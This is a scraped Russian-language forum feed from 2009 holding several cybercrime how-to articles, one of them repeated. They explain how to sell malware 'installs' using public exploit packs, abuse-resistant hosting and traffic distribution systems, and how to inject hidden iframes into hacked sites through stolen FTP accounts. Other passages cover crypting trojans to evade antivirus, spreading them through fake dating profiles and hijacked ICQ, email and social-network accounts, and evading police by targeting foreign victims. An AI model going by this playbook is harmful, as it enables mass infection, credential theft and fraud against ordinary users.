страниц.<br />О платных связках я говорить тут не буду, ибо стоят дорого, новичкам не по зубам, но все же перечислю их это есть Ad-Pack+, связка от Nuclear, Неосплойт и другие.<br />Лично я использовал из паблика Айс пак, и вам его советую.<br />Возникает еще одна проблемка - Связки палятся, к сожалению если вы не знакомы с пхп то это вам не решить, но<br />есть люди которые спрячут от антивирусов связки за денюжку(только желательно с ними работать через гаранта, или предварительный показ результата) или за так.</p> <p>Еще немного расскажу о Пробиве, он может быть разный, на связках типа Айс пак, пробивается практически только один ИЕ(Internet Explorer)<br />Обычный пробив на Ру трафе, непалящемся состовлял 33% В пробиве многое зависит от трафа<br />К примеру русский траф имеет больший пробив потому что многие юзают крякнутый софт, пиратки, итп, это крякнутое по делает форточки для сплойтов.<br />Забугорный же траф дает меньше поскольку там зачастую лицензионное ПО, но при этом оно старое, к примеру у нас любители свежатины давно сидят на ИЕ 7<br />но там можно встретить фирмы на которых до сих пор стоит ИЕ 5, пробив на Забугорном на Айсе был ~ 20-25% Траф может быть и Адалт (Для взрослых) который имеет пробив 5-10%<br />З.Ы. про настройку связки ничего не говорю ибо это много</p> <p><span style="color: teal">И опять таки Хост</span><br />Для содержания связки нужен хост, да с поддержкой MySQL и PHP, да желательно абузоустойчивый, потому что если вы укоренитесь в этом деле, а потом нечайно прийдет<br />абуза, то все полетит к чертям. Но несмотря на это вам хватит всего лишь хоста на 50 мб, а это ~20-25 $ в месяц, хотя как по мне новичкам можно<br />и на бесплатном, если имеется трафик, но будьте готовы что однажды хост залочат.</p> <p>Вот у вас уже есть Связка, траф и Хост,в принципе это все что нужно для Загрузок, советую пару дней просмотреть какое количество загрузок у вас будет (продают не меньше 1000 загруок) а затем уже постить.<br />Ниже расскажу про пару фишек.</p> <p><span style="color: teal">Самотрафикация</span><br />Какое умное слово я придумал, что я под ним подразумиваю, это значит использовать загрузки, для получения большего количества трафа,<br />берем грузим пинч, снимаем отчеты и экспортируем Фтп затем FTP TOolZом Чекаем фтп и Фреймим их, и получаеться вы нарабатываете обороты, трафа, а соответственно и Загрузок.</p> <p><span style="color: teal">Дополнительные Эксплойты</span><br />Вы всегда можете добавить к своей связке несколько дополнительных Эксплойтов, если конечно имеются знания языка php и иногда некоторых<br />других языков, все доступные массам эксплойты стекаются на milw0rm<br />Но знайте что бы добавить эксплойт нужны навыки и знание как с ними работать, добавление Эксплойтов увеличит кпд связки. Так же есть приватные 0day эксплойты которые стоят много денег)</p> <p><span style="color: red">Советы и FAQ:</span><br /><span style="color: fuchsia">Вопрос:</span> <em class="bbuline">Что можно делать если загружаю свой файл(трой\бот)?</em><br />Извлечение информации из отчетов являеться важнейшей частью, главное не пропустить что либо ценное,<br />Вам может попасться Админка какого нибудь Бизнесс сайта, вы сможете подменить кошелек, получить деньги,<br />да и в конце залить шелл и поставить фрейм, внимательно смотрите на все что можно продать, акки пайпал, еголд, Яндекс Деньги, САР сайты, партнерки. Отчеты можно продавать, другим людям, но имхо это не выгодно.<br />Если делаете загрузки троя сами то приготовьтесь к тому что надо будет копаться в отчетах.<br />Но Трой это не единственная вещь которую можно грузить, я писал выше про Сокс, ддос, спам ботов, так вот<br />вы можете даже организовать свой сервис по продаже соксов, или спам сервис, ну или ддос сервис, будете валить конкурентов солидных фирм.<br />То есть Фактически из загрузок может вытекать практически любой другой вид Заработка, так что дерзайте!</p> <p><span style="color: fuchsia">Вопрос:</span> <em class="bbuline">Кому лучше всего продавать Загрузки(Траф)?</em><br />Лучше всего конечно продавать проверенным покупателям, Которых все знают и уважают, но далеко не всегда получается с ними работать<br />Но на благо мудрые люди придумали такого человека как Гаранта, вы проходите проверку гарант пишет что вы прошли проверку и имеете товар,<br />И после этого от покупателя вы можете просить деньги вперед, так же хорошо бы перед тем как начать работать с человеком проверить<br />не кидала ли он, в этом поможет сайтец куда записывают всех зарегестрированых кидал kidala.info</p> <p><span style="color: fuchsia">Вопрос:</span> <em class="bbuline">Чего следует остерегаться продавая загрузки?</em><br />В первую очередь кидал.<br />Остерегаться так же нужно того что бы сплойт не спалился и что бы файл Клиента или ваш не палился Антивирусами потому что если спалите сплойт то админы спалят фрейм а значит минус траф уже, да и желательно всегда знать что вы грузите,<br />потому что есть некоторые вирусцы за распространение которых вами могут заинтересоваться Добрые дяди, ну это на крайней случай, не пугайтесь.</p> <p><span style="color: green">Совет: Лучше всего работать с Забугорным трафом, потому что наше ФСБ или СБУ не очень хочет сотрудничать с ФБР, и в том что буржуи вас на родине не тронут<br />ну это так если вдруг там что то серьезное.</span></p> <p><span style="color: green">Совет: Если вы работаете с Забугорным трафиком, то для проверки посещаемости ресурса проверяйте по alexa рангу wwwalexa.com чем он меньше<br />тем больше там посетителей, но знайте ранг не равен количеству посетителей!</span></p> <p><span style="color: fuchsia">Вопрос:</span> <em class="bbuline">Какие Чекеры фтп вы еще знаете?</em><br />ну есть много чекеров. зачастую приватные, на Айс-Паке есть встроеный чекер и фреймер. Так же стоит сказать о платном чекере Мани Мэйкер тоже неплохая вещь,<br />Еще вот недавно тести Бетку нового чекера Antichat FTP Checker by RaZzZaR впринципе ничего, в ближайшее время должен будет выйти в паблик<br />но все же я советую Фтп тулз (имхо) лучший.</p> <p><span style="color: fuchsia">Вопрос: </span><em class="bbuline">ФТП тулз не работает, и чекер на айспаке тоже что делать?</em><br />Скорее всего вы используете хостинг на котором запрещено подключение к другим фтп (типа jino-net.ru)<br />Или же вы неправильно, что-то настроили.</p> <p><span style="color: fuchsia">Вопрос:</span> <em class="bbuline">Где можно купить продать загрузки/траф ?</em><br />Ну насколько я знаю самый известный сайт на данный момент это traffboard.cn там можно продавать и загрузки, и траф, так же там можно посмотреть ценовую характеристику покупаемых стран не указаных в статье</p> <p><span style="color: fuchsia">Вопрос: </span><em class="bbuline">Почему Au загрузки дороже всех?</em><br />Ну Поскольку в основном бизнесс траф идет с USA и с AU, это уже дает ценность Австралии, но к сожалению много американцев порноманьяки (достаточно посмотреть куки Американцев что бы все понять) в Австралии очень качественный биз траф, нередко использующийся для Кардинга.<br />качество Ау трафа мона проверить поставив его на партнерку атиспайвары.</p> <p><span style="color: fuchsia">Вопрос : </span><em class="bbuline">Почему сразу не продавать загрузки? Там же цена выше значительно... Или в трафф уходит то, что не пробивается сплойтами?</em><br />Дело в том что загрузки делать гораздо сложнее, на 1000 загрузок может уходить до 10к трафика (в зависимости от качества), а добиться 10к в сутки что бы делать 1к загрузок весьма трудно для новичка, ну конешно если вы знаете пхп и вы сможете изменить связку, сделать ее лучше что увеличите пробив то тогда все карты вам в руки. А траф не пробитый сплойтами в продажу дают не хорошие люди(имхо)</p> <p>Статья взята с antichat.ru</p> mybb@mybb.ru (TM) Mon, 12 Oct 2009 14:38:53 +0400 http://traff.mybb.forum/viewtopic.php?pid=5#p5 http://traff.mybb.forum/viewtopic.php?pid=4#p4 <p>Статья не моя ну копираты есть делал для злого ..</p> <p>Как и обещал в прошлой своей статье, я расскажу о загрузках, так же немного будет задета тема трафа.</p> <p>Ну что ж начнем</p> <p>Общее О Загрузках:<br />Загрузка - это загрузка и запуск файла (то-ли вашего, то-ли клиента) на компе жертвы.<br />Загрузки можно делать с помощью Связки Эксплоитов или Ботнета.<br />Я буду рассматривать более часто встречающийся первый вариант.<br />Загрузки наверное есть самый популярный способ распространения вирусов, зачастую троянов.<br />Вообще начать заниматься этим делом это требует или больших усилий, или стартового капитала,<br />но скажу что бы никто не пугался, вполне реально начать без денег.</p> <p>Загрузки в Бизнесе:<br />И так, многих интересует денежная сторона этого вопроса, ну что тут сказать<br />да, загрузки это очень прибыльное дело, особенно если знаешь что делать и как.<br />Самые прибыльные загрузки это загрузки юзерам следующих стран:<br />AU(Австралия) - 300-550$<br />UK(Великобритания) - 220-300$<br />IT(Италия) - 200-350$<br />NZ(Новая Зеландия) - 200-250$<br />ES(Испания),DE(Германия),FR(Франция) - 170-250$<br />US(США) - 100-150$<br />Цены указаны за 1000 уникальных загрузок.<br />Русские и Украинские загрузки ценятся гораздо меньше - (20-40$)<br />Так же часто продаются микс загрузки, это загрузки которые делаються из микс трафа стоимость приблизительно такая же как и на Ru, Ua</p> <p>Биз Загрузки<br />Но это что касается если грузить клиенту файл, но вы ведь можете грузить и свой файл,<br />что вы можете грузить? ну например Zeus, формграберы, банковские трои (это уже относиться к кардингу) и пр.<br />Если вы грузите файл клиента, то понятно вы получаете деньги, но если же вы грузите файл для себя, что в таком случае?<br />Что мы получаем? все зависит от файла который грузим, К примеру если мы будем грузить Зевс ну или на крайней случай пинч, а может и приватный трой, мы получаем отчеты, а что в отчетах ? информация, там может быть<br />что угодно, от номеров icq до Банковских аккаунтов (З.Ы. В кардинг опускаться не буду), из них можно много чего извлечь,<br />особенно если трафик Бизнес, но для этого вам придется поднапрячься читать их, даже поиск не даст того результата что даст индивидуальное чтение всех отчетов.<br />Советы по извлечению инфы читайте в FAQ.</p> <p>Не Биз Загрузки<br />В нынешнее время трудно добыть бизнес фтп, и что же тогда делать если он не биз?<br />Не Биз траф так же активно используеться для Сокс ботов, Ддос ботов, Спам ботов, и пр. а из этих ботов можно извлечь не малую выгоду, умея грамотно их продавать или использовать.<br />Так же в данный момент существуют партнерки как по загрузкам так и по трафику.<br />По трафику они конвертируют его в загрузки, ну а загрузки платят за 1000 инсталов<br />Не хочу никого обидеть, но я бы не советовал бы сливать трафик в партнерку, ибо никто не знает как оно там…<br />может траф разветвляется и идет на много сплойтов итп. а Загрузки же, ну лучше всегда знать что грузишь, если не волнует то можно<br />грузить для партнерки.</p> <p>Каждый новичек (не просто в загрузках, а и в хек бизе) увидит цифры, и сразу подумает все это мое, буду загребать миллионы, но это гораааздо сложнее чем кажеться на первый взгляд.</p> <p>Так с чего же начать? Коротко про Эксплойты.<br />Нам нужно:<br />1)Трафик<br />2)Связка<br />3)Старание (или Деньги)<br />Начинать все таки надо с трафика Ибо если не будет трафика то не будет загрузок, по моему логично )<br />Если у вас есть 1000 уинков трафа в сутки это не значит что у вас будет 1000 загрузок в день, это в любом случае, в самом лучшем с 1000 трафа будет 500 загрузок, но на Забугорном (Забугорный значит Заграничный, типа Европа, Америка итп)<br />трафике будет еще меньше.<br />Так вот вернемся к тому с чего начинать, У нас уже есть трафик, нам еще нужна связка эксплойтов<br />Эксплойт это скрипт позволяющий через уязвимость в какой либо программе (зачастую Браузер) выполнить необходимое действие,<br />например загрузить и запустить файл. Подробнее об Эксплойте ([Ссылки могут видеть только зарегистрированные и активированные пользователи]). А связка эксплоитов это &quot;сборник&quot; эксплоитов сшитых в один скрипт.<br />Впринципе Связку найти не проблемма, гораздо сложнее понять насколько она грамотна сделана, нет ли в ней вражеских скриптов<br />ну и какой Пробив(КПД) у нее будет (Пробив Связки = (кол-во загрузок с 1к связки/1000)*100 %) А на самом деле с 1к трафика определить пробив точно нельзя<br />он зависит от трафика, обычно для теста связки берут 20к трафика, а то и больше.<br />Итак самая пожалуй известная связка Всех времен это mpack на основе эксплоита mdac, а все остальные уже схожи, на него.<br />Вот пара Связок которые имеются в паблике и более менее нормальные :<br />Ice-pack |_скачать можно(Ice, Fire - pack)<br />Fire-Pack | ([Ссылки могут видеть только зарегистрированные и активированные пользователи])<br />Ad-pack<br />mpack<br />З.Ы. есть и другие, но все же думаю выкладывать их нету смысла.<br />Если порыться то можно их много найти, но опасайтесь вражеских скриптов(ифреймов), зачастую они стоят или в индексе или в эксплоитах, или в инклудах ранее перечиленых страниц.<br />О платных связках я говорить тут не буду, ибо стоят дорого, новичкам не по зубам, но все же перечислю их это есть Ad-Pack+, связка от Nuclear, Неосплойт и другие.<br />Лично я использовал из паблика Айс пак, и вам его советую.<br />Возникает еще одна проблемка - Связки палятся, к сожалению если вы не знакомы с пхп то это вам не решить, но<br />есть люди которые спрячут от антивирусов связки за денюжку(только желательно с ними работать через гаранта, или предварительный показ результата) или за так.</p> <p>Еще немного расскажу о Пробиве, он может быть разный, на связках типа Айс пак, пробивается практически только один ИЕ(Internet Explorer)<br />Обычный пробив на Ру трафе, непалящемся состовлял 33% В пробиве многое зависит от трафа<br />К примеру русский траф имеет больший пробив потому что многие юзают крякнутый софт, пиратки, итп, это крякнутое по делает форточки для сплойтов.<br />Забугорный же траф дает меньше поскольку там зачастую лицензионное ПО, но при этом оно старое, к примеру у нас любители свежатины давно сидят на ИЕ 7<br />но там можно встретить фирмы на которых до сих пор стоит ИЕ 5, пробив на Забугорном на Айсе был ~ 20-25% Траф может быть и Адалт (Для взрослых) который имеет пробив 5-10%<br />З.Ы. про настройку связки ничего не говорю ибо это много</p> <p>И опять таки Хост<br />Для содержания связки нужен хост, да с поддержкой MySQL и PHP, да желательно абузоустойчивый, потому что если вы укоренитесь в этом деле, а потом нечайно прийдет<br />абуза, то все полетит к чертям. Но несмотря на это вам хватит всего лишь хоста на 50 мб, а это ~20-25 $ в месяц, хотя как по мне новичкам можно<br />и на бесплатном, если имеется трафик, но будьте готовы что однажды хост залочат.</p> <p>Вот у вас уже есть Связка, траф и Хост,в принципе это все что нужно для Загрузок, советую пару дней просмотреть какое количество загрузок у вас будет (продают не меньше 1000 загруок) а затем уже постить.<br />Ниже расскажу про пару фишек.</p> <p>Самотрафикация<br />Какое умное слово я придумал, что я под ним подразумиваю, это значит использовать загрузки, для получения большего количества трафа,<br />берем грузим пинч, снимаем отчеты и экспортируем Фтп затем FTP TOolZом Чекаем фтп и Фреймим их, и получаеться вы нарабатываете обороты, трафа, а соответственно и Загрузок.</p> <p>Дополнительные Эксплойты<br />Вы всегда можете добавить к своей связке несколько дополнительных Эксплойтов, если конечно имеются знания языка php и иногда некоторых<br />других языков, все доступные массам эксплойты стекаются на milw0rm ([Ссылки могут видеть только зарегистрированные и активированные пользователи])<br />Но знайте что бы добавить эксплойт нужны навыки и знание как с ними работать, добавление Эксплойтов увеличит кпд связки. Так же есть приватные 0day эксплойты которые стоят много денег)</p> <p>Советы и FAQ:<br />Вопрос: Что можно делать если загружаю свой файл(трой\бот)?<br />Извлечение информации из отчетов являеться важнейшей частью, главное не пропустить что либо ценное,<br />Вам может попасться Админка какого нибудь Бизнесс сайта, вы сможете подменить кошелек, получить деньги,<br />да и в конце залить шелл и поставить фрейм, внимательно смотрите на все что можно продать, акки пайпал, еголд, Яндекс Деньги, САР сайты, партнерки. Отчеты можно продавать, другим людям, но имхо это не выгодно.<br />Если делаете загрузки троя сами то приготовьтесь к тому что надо будет копаться в отчетах.<br />Но Трой это не единственная вещь которую можно грузить, я писал выше про Сокс, ддос, спам ботов, так вот<br />вы можете даже организовать свой сервис по продаже соксов, или спам сервис, ну или ддос сервис, будете валить конкурентов солидных фирм.<br />То есть Фактически из загрузок может вытекать практически любой другой вид Заработка, так что дерзайте!</p> <p>Вопрос: Кому лучше всего продавать Загрузки(Траф)?<br />Лучше всего конечно продавать проверенным покупателям, Которых все знают и уважают, но далеко не всегда получается с ними работать<br />Но на благо мудрые люди придумали такого человека как Гаранта, вы проходите проверку гарант пишет что вы прошли проверку и имеете товар,<br />И после этого от покупателя вы можете просить деньги вперед, так же хорошо бы перед тем как начать работать с человеком проверить<br />не кидала ли он, в этом поможет сайтец куда записывают всех зарегестрированых кидал kidala.info</p> <p>Вопрос: Чего следует остерегаться продавая загрузки?<br />В первую очередь кидал.<br />Остерегаться так же нужно того что бы сплойт не спалился и что бы файл Клиента или ваш не палился Антивирусами потому что если спалите сплойт то админы спалят фрейм а значит минус траф уже, да и желательно всегда знать что вы грузите,<br />потому что есть некоторые вирусцы за распространение которых вами могут заинтересоваться Добрые дяди, ну это на крайней случай, не пугайтесь.</p> <p>Совет: Лучше всего работать с Забугорным трафом, потому что наше ФСБ или СБУ не очень хочет сотрудничать с ФБР, и в том что буржуи вас на родине не тронут<br />ну это так если вдруг там что то серьезное.</p> <p>Совет: Если вы работаете с Забугорным трафиком, то для проверки посещаемости ресурса проверяйте по alexa рангу [Ссылки могут видеть только зарегистрированные и активированные пользователи] ([Ссылки могут видеть только зарегистрированные и активированные пользователи]) чем он меньше<br />тем больше там посетителей, но знайте ранг не равен количеству посетителей!</p> <p>Вопрос: Какие Чекеры фтп вы еще знаете?<br />ну есть много чекеров. зачастую приватные, на Айс-Паке есть встроеный чекер и фреймер. Так же стоит сказать о платном чекере Мани Мэйкер тоже неплохая вещь,<br />Еще вот недавно тести Бетку нового чекера Antichat FTP Checker by RaZzZaR впринципе ничего, в ближайшее время должен будет выйти в паблик<br />но все же я советую Фтп тулз (имхо) лучший.</p> <p>Вопрос: ФТП тулз не работает, и чекер на айспаке тоже что делать?<br />Скорее всего вы используете хостинг на котором запрещено подключение к другим фтп (типа jino-net.ru)<br />Или же вы неправильно, что-то настроили.</p> <p>Вопрос: Где можно купить продать загрузки/траф ?<br />Ну насколько я знаю самый известный сайт на данный момент это traffboard.cn там можно продавать и загрузки, и траф, так же там можно посмотреть ценовую характеристику покупаемых стран не указаных в статье</p> <p>Вопрос: Почему Au загрузки дороже всех?<br />Ну Поскольку в основном бизнесс траф идет с USA и с AU, это уже дает ценность Австралии, но к сожалению много американцев порноманьяки (достаточно посмотреть куки Американцев что бы все понять) в Австралии очень качественный биз траф, нередко использующийся для Кардинга.<br />качество Ау трафа мона проверить поставив его на партнерку атиспайвары.</p> <p>Вопрос : Почему сразу не продавать загрузки? Там же цена выше значительно... Или в трафф уходит то, что не пробивается сплойтами?<br />Дело в том что загрузки делать гораздо сложнее, на 1000 загрузок может уходить до 10к трафика (в зависимости от качества), а добиться 10к в сутки что бы делать 1к загрузок весьма трудно для новичка, ну конешно если вы знаете пхп и вы сможете изменить связку, сделать ее лучше что увеличите пробив то тогда все карты вам в руки. А траф не пробитый сплойтами в продажу дают не хорошие люди(имхо)</p> <p>Загружаемое ПО – любой Троян, выдирающий пароли, сохранённые в системе.<br />Подготавливаем ПО к работе, настраиваем на рабочий бесплатный хостинг.<br />Проверяем работоспособность. Криптуем и склеиваем. Если не умеем сами – на форумах можно найти людей, которые сделают это за небольшое вознаграждение. Я полностью спрятал свой троян от антивирусов за 2,5$. Но можно обойтись и паблик крипторами, использовав комбинацию из нескольких, можно добиться хорошего результата.<br /></p> <p>Старт . Для начал нам понадобиться сделать хотя бы 150-200 уникальных загрузок.<br />Рассылать тысячи предложений, скачать софт-панацею по ICQ уже давно не актуально.<br />Вывешивать на форумах под видом чего-либо, с одним постом и сегодняшней регой тоже.<br />Тут нам поможет такая особенность человека, как похоть. Регистрируем 5-10 анкет, на сайтах интим-знакомств. Под видом девушки вывешиваем пару привлекательных фото, и вывешиваем линк на наш троян, под видом интимных фото в архиве (если склеили троян с архивом), или под видом фото-презентации (если троян имеет вид просто exe файла).<br />Аудитория на таких сайтах сомнительная, но для начальных загрузок подойдёт. И так, даже с не криптованного трояна, мы получаем в день 20-25 уникальных загрузок, с одной анкеты. Начало положено, и мы получили наши первые 200 загрузок.</p> <p>Дополнение:При выборе площадок под анкеты не стоит хватать самые раскрученные сайты, жёсткая модерация анкет и фото, не позволит успешно разместить ссылку на троян. Площадок с “мягкой” модерацией, но нормальной посещаемостью не мало. Создавайте реалистичную анкету, не стоит вешать фото порно звёзд или голливудских актрис, максимальный реализм даст больший эффект, чем глянцевая девушка с обложки. Следите за Вашими анкетами, продвигайте их в топ.</p> <p>Развитие.Получив наши первые 200 загрузок, забываем про интим-знакомства. Они не дадут нам большого кол-ва уникальных загрузок, да и аудитория там не самая интересная.<br />Теперь внимательно изучаем информацию, полученную нашим трояном, и тщательно вытаскиваем и сортируем все полученные аккаунты. Именно они помогу нам добиться большого кол-ва уникальных загрузок, об этом подробнее…<br /></p> <p>Власть Аккаунтов.<br />И так, у нас есть невидимый антивирусами троян, есть первые 200 загрузок, но нам нужна массовость. Получить её помогут аккаунты пользователей из наших загрузок. Концепция простая – доверие. Откроете вы ссылку от незнакомого человека, будь это письмо, сообщение icq, или пост на форуме? А если это ссылка от вашего друга, пост на форуме от человека которого вы знаете? Ниже я приведу основные аккаунты встречающиеся в загрузках пользователей, и методы работы с ними.</p> <p>ICQСамый распространенный аккаунт в отчётах, на одной машине их может быть несколько, пароли от девяток, как правило, очень часто хранятся в системе, поэтому, обычно кол-во icq с отчётов гораздо больше чем самих отчётов. Метод распространения – спам, но не спам с полученных icq по несколько тысяч сообщений в день, а спам по контакт листам icq. Заливаем наше ПО на обменник, и разсылаем ссылку всем контактам. Процент загрузок очень не плохой, icq в отчётах много, если повезёт, в каждой не мало контактов и после рассылки список номеров для спама будет расти в прогрессии.</p> <p>Дополнение: Стоит выбирать простой обменник, чтоб у контактов не было проблем со скачиванием.<br />Отправлять можно под разными предлогами, но один из самых действенных – шутка, прикол. Клеим иконку флэш-мультика, у старых флэшек со встроенным плеером даже расширение exe было, по этому всё выглядит очень правдоподобно. И отправляем всем ссылку и смайлик. Ссылка позволит скачать файл, смайлик характеризует его содержимое. Не стоит писать длинные месаги, так как у каждого свой стиль разговора и можно просто не попасть. Кого-то насторожит фраза “Зацени прикол…” или “Посмотри вот это” – ссылка и смайлик, оптимальный вариант.</p> <p>E-MAIL<br />Эти аккаунты также в изобилии присутствуют почти на каждой машине.<br />Ну, тут особо нечего рассказывать. Принцип такой же как и в ICQ, отправляем письмецо со ссылкой на троян всей адресной книге. Если к почтовому сервису прикреплён месенджер, напимер как MailAgent – можно проспамить и его аккаунты.</p> <p>СОЦИАЛЬНЫЕ СЕТИ.Рассмотрим их на примере всеми любимого vkontakte.ru<br />Также как и icq, аккаунты контакта есть почти на каждой машине, и у каждого есть свои контакты (друзья). Вот именно им мы и будем загружать наше ПО.<br />Если вы нашли паблик спамер контакта – вам повезло, если нет, есть несколько вариантов, как доставить наше ПО до конечной цели. Сейчас только ленивый не спамит по контакту, находим человека который этим занимается, которому постоянно нужны аккаунты, и договариваемся 50/50. Сливаем ему свои аккаунты, а он взамен спамит на 50% друзей – вашу ссылку. Вариант второй – выбираем аккаунты с кол-вом друзей не менее 100 (чем больше – тем лучше) – заходим под ними, и добавляем фото на котором отмечаем всех друзей (как это сделать думаю все знают) – этим фото может быть быстро нарисованная в фотошопе картинка, предлагающая скачать наш вирус. Предложить можно под видом чего угодно, от архива с фотками, до самописного флэш-мультка с участием всех друзей. Каждый из друзей залогинивишись, увидит что его добавали на фотку, а скачает файл или нет – зависит от кач-ва предложенной вами заманухи.<br />Также можно вставить ссылку на троян в любое поле, которое выводит сервис – Мои друзья/Обновления.</p> <p>ФОРУМЫ<br />Получив аккаунт с хорошей репутацией, или большим кол-вом постов на форуме, идём и выкладываем свой троян под видом …, а вот тут всё зависит от направленности форума.<br />Порно-форум – получите архив с последним сетом всеми любимой порно-звезды.<br />Варезник – ключи для антивируса, крэки, программы…<br />Иными словами ориентируемся в зависимости от направленности форума.</p> <p>ОНЛАЙН ИГРЫ (САЙТЫ КЛАНОВ, ФОРУМЫ)<br />Люди, играющие в онлайн игры весьма фанатичны (в основном) и не сложно придумать то, что заставит их скачать Ваш файл. Это может быть чит-прога, архив с акками их сервера, прога для расчёта прокачки чара, тут тоже многое зависит от типа игры.</p> <p>ДНЕВНИКИ (БЛОГИ) Получив акк к дневнику, ЖЖ или блогу, с большим кол-вом подписчиков, вывешиваем свой троян. Всё просто. Под видом чего выложить опять же ориентируемся в зависимости от типа, направленности блога/дневника и его владельца.</p> <p>Я привёл только основные виды аккаунтов, которые часто встречаются в отчётах и дают возможность массового распространения. Грамотно комбинируя загрузки с этих аккаунтов, и наращивая оборот подпитывая его новыми аккаунтами, полученными после тщательной работы с отчётами, уже через неделю можно получить 1500 уникальных загрузок в день. И я думаю это не предел.</p> <p>Концепция для всех видов одинаковая – предложить свой файл для скачки под видом “своего” человека, максимальному кол-ву людей.</p> <p>Есть много способов увеличить эффективность распространения, все они связанны с защитой предложенного файла от попыток вывести Вас на чистую воду, например – кто-то из контактов icq понял что получил вирус, он пишет об этом хозяину акка, а тот прежупреждает всех об опасности, можно конечно сменить пароль icq и владелец уже ничего не сделает, но я считаю это подло. Описывать все способы защиты для каждого типа аккаунтов не буду, тот, кто всётаки действует такими методами сам поймёт, как это сделать.</p> <p>Данная статья не рук-во по впариванию трояна, она создана с целью показать новичкам, что можно получить большое кол-во уникальных загрузок, без серьёзных затрат.<br />Также всё написанное не является руководством к действию, и я не утверждаю, что данные методы заменят Вам приватные связки и траф. Просто эти методы работают, а значит, имеют право на существование. О моральности данных методов каждый пусть судит сам. Я не изобретал “велосипед”, а лишь показал новичкам, как на нём можно ездить.</p> mybb@mybb.ru (TM) Mon, 12 Oct 2009 14:29:19 +0400 http://traff.mybb.forum/viewtopic.php?pid=4#p4 http://traff.mybb.forum/viewtopic.php?pid=3#p3 <p>Ввведение<br />Я думаю ты не раз встречал топики на форумах, в которых продается\покупается траф, предлагают ддос услуги, продаются сосксы и т.д. Не задумывался ли ты когда-нибудь откуда все это берется, и сколько можно на этом заработать? В своей статье я хачу рассмотреть истоки всего этого, а именно организацию траф сервиса. Что же такое траф? Траф, грубо говоря можно назвать потоком посетителей на ваш сайт. Что же нам понадобится для нашего сервиса?</p> <p>Основная часть</p> <p>1) Хостинг</p> <p>Прежде всего нам нужен хостинг(аккаунт или сервер, в зависимости от ширины твоего кошелька). Но брать первый попавшийся хост(из обычных, которые предлагают на каждом углу), или устроиться на чужом(взломанном и т.д.) не логично. Почему? Во-первых, админы могут просто обнаружить присутствие постороннего на сервере, во-вторых, приток наших посетителей будет создавать лишнюю нагрузку(если кол-во большое, а сервер слабый), в-третьих, на хост может прийти так называемая абуза(жалоба), последиствием которой станет блокировка аккаунта\домена. Таким образом я предлагаю остановиться на абузоустойчивом хостинге. В чем его преимущества? Данный хостинг создан специально для черных целей, администрация ДЦ, где расположены сервера игнорируют абузы(жалобы), отсюда и название. На данный момент цены на такой хостинг начинаются от 50 $ и заканчиваются парами тысячами $ в месяц(цена зависит от того что вы хотите, какие у вас запросы и т.д.). Если вы хотите серьезно заняться трафом, то советую сразу останавливать свое внимание на проверенных сервисах(смотрите на цены, кол-во отзывов, время работы в данной сфере и т.д.) и не экономьте на этом. Также к этому можно отнести и абузные домены(например в зоне .cn), которые тоже сейчас можно приобрести(средняя цена 20$ в год).</p> <p>2) Софт\скрипты</p> <p>Ну вот теперь у нас есть свой хост, так что можно смело двигаться дальше. Теперь нам нужен какой-то софт\скрипты для продажи трафа. Допустим наш траф идет к нам на хост wwwsite.ru, а нам нужно к примеру направить 1000 посетителей на сайт wwwsit2.ru как же быть? Для этого были придуманы TDS(системы распределения трафика). В чем заключается их смысл? Весь трафик мы пускаем на нашу TDS, а она уже производит перенаправление трафика на другие сайты. Цены на TDS начинаются от 30$, от чего же зависит цена? От возможностей TDS:определение версий браузеров, определение страны откуда пришел траф, создание различных схем с приоритетами, минимальные потери при перенапрвлении, удобство использования, нагрузка на сервер(например какую базу использует для хранения информации: MySQL\текстовые файлы), реферальная статистика и много другое(обо всем немного позднее).</p> <p>3) Где взять траф?</p> <p>Теперь когда у нас есть хост и система распределения трафа нужно ответить на самый главный вопрос - а где же взять траф? Есть много различных способов, например рассылка сообщений с ссылкой на ваш сайт по ICQ, e-mail, гостевым книгам, форумам и т.д. Но этот способ не дает хороших результатов, т.к. может лишь дать волну трафа, но не постоянный. Самый известный и распространненый способ это iframe траф. Как же его сделать? Для этого нам понадобится доступ к хорошо посещаемый ресурсам, это может быть взломанный\уганный фтп аккаунт к ресурсу, шелл и т.д. Далее когда у нас есть доступ к ресурсу, нужно как-то незаметно для админов перенаправить посетителей на наш сайт(на TDS). Для этого используются iframe. Ифрейм это небольшое &quot;окно&quot; обычно размером 1 на 1 пиксель, которое не видно человеческому глазу, в этом окне как раз и открывается наш сайт. Iframe имеет такой вид , где в параметре src указывается адресс нашего сайта. Тоесть мы берем данный код и вставляем в страницы сайтов, которые мы взломали\взяли.</p> <p>4) Дополнение</p> <p>В зависимости от тематики сайтов, с которых идет траф, его можно разделить на разные типы:бизнес(с бизнес сайтов), адалт(с любых порно ресурсов), mix(смешаный, тоесть всего по немногу), также траф можно разделить и по странам. Соответственно чем лучше(качественнее) наш трафик, тем дороже его можно будет продать. Немного вернусь к вопросу про фтп. А что делать если у нас несколько тысяч взломанных фтп и на нам нужно на каждом разместить наш код? Если это делать руками, то на это уйдет неделя :) Для таких дел были сделаны специальные фтп checkers/iframers. Их задача как раз и заключается в том, чтобы в автоматическом режиме вставлять нужный нам год в страницы. Также в них присутствуют некоторые доп. функции, например удаление чужих фреймов(а зачем нам конкуренты? :) ), проверка сайтов на PR и многое другое. Также хочу отметить, чтобы админы быстро не увидели наши фреймы с своих страницах нужно их шифровать(в принципе этому посвящено немало интересных статей, поройся).</p> <p>Вывод</p> <p>1) Итог</p> <p>Подведем небольшой итог, у нас есть абузный хост, на нем стоит наша TDS на которую идет траф со взломанных ресурсов. В принципе все готово для продажи трафа, остается найти клиентов и создать схему перенаправления в нашей TDS.</p> <p>2) Некоторые тонкости</p> <p>Но я хочу остановить еще внимание не некоторых тонкостях, которые сделают вашу жизнь легче :) На данный момент на рынке преобладает mix траф, тоесть это траф с сайтов различной тематики, разные страны и т.д. тоесть все свалено в кучу. Когда покупаете\продаете такой траф всегда лучше проводить тест, например 1000-2000 уников. Часто возникают вопросы о различии общего и уникального трафа. Стоит заметить, что человек зайдя на сайт, может просмотреть несколько страниц, а если на каждой висит наш фрейм, то получается что он будет учтен в нашем трафе дважды. Для этого в TDS есть отбор уников, тоесть используются только реальные уникальные посетители(например идентификация по ip). У сайта посещаемость можеть быть 10000 в день, а из них уникальных посетителей только 2000. Также хочу обратить ваше внимание на покупку фтп(так как щас развелось очень много людей продающих фтп в несколько рук). Лучшего всего покупать хорошо посещаемые фтп, лучше взять 4-5 но вы сам увидите эти сайты, чем брать 1500 фтп за 100 $ с которых трафа будет 0, да и их еще продадут в несколько рук. Средний заработок в день скалдывается из кол-ва 